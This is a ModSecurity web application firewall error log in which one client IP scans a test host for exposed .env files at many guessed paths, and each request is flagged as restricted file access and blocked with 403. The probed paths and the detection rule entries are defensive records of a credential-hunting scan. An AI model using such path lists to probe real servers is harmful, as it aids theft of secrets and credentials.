[Wed Feb 25 06:05:36.551851 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDfAAAAAU&quot;]
[Wed Feb 25 06:05:36.575861 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZCgAAAAc&quot;]
[Wed Feb 25 06:05:36.576133 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZCgAAAAc&quot;]
[Wed Feb 25 06:05:36.576314 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZCgAAAAc&quot;]
[Wed Feb 25 06:05:36.670089 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spearmint/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDfQAAAAU&quot;]
[Wed Feb 25 06:05:36.670727 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDfQAAAAU&quot;]
[Wed Feb 25 06:05:36.670915 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDfQAAAAU&quot;]
[Wed Feb 25 06:05:36.712731 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spikes/config-material-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDfgAAAAU&quot;]
[Wed Feb 25 06:05:36.712979 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDfgAAAAU&quot;]
[Wed Feb 25 06:05:36.713164 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDfgAAAAU&quot;]
[Wed Feb 25 06:05:36.736656 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /target/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZDQAAAAc&quot;]
[Wed Feb 25 06:05:36.736911 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZDQAAAAc&quot;]
[Wed Feb 25 06:05:36.737097 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZDQAAAAc&quot;]
[Wed Feb 25 06:05:36.778188 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spotiapps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDfwAAAAU&quot;]
[Wed Feb 25 06:05:36.778487 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDfwAAAAU&quot;]
[Wed Feb 25 06:05:36.778685 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDfwAAAAU&quot;]
[Wed Feb 25 06:05:36.788586 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temanr10/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZDgAAAAc&quot;]
[Wed Feb 25 06:05:36.788813 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZDgAAAAc&quot;]
[Wed Feb 25 06:05:36.788994 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZDgAAAAc&quot;]
[Wed Feb 25 06:05:36.814054 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temanr9/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZDwAAAAc&quot;]
[Wed Feb 25 06:05:36.814306 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZDwAAAAc&quot;]
[Wed Feb 25 06:05:36.814487 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZDwAAAAc&quot;]
[Wed Feb 25 06:05:36.828997 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/instancewithdependentsteps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDgAAAAAU&quot;]
[Wed Feb 25 06:05:36.829219 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDgAAAAAU&quot;]
[Wed Feb 25 06:05:36.829371 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDgAAAAAU&quot;]
[Wed Feb 25 06:05:36.855808 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptintegrationproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDgQAAAAU&quot;]
[Wed Feb 25 06:05:36.856031 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDgQAAAAU&quot;]
[Wed Feb 25 06:05:36.856185 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDgQAAAAU&quot;]
[Wed Feb 25 06:05:36.885586 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZEQAAAAc&quot;]
[Wed Feb 25 06:05:36.885805 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZEQAAAAc&quot;]
[Wed Feb 25 06:05:36.885965 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZEQAAAAc&quot;]
[Wed Feb 25 06:05:36.917413 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDggAAAAU&quot;]
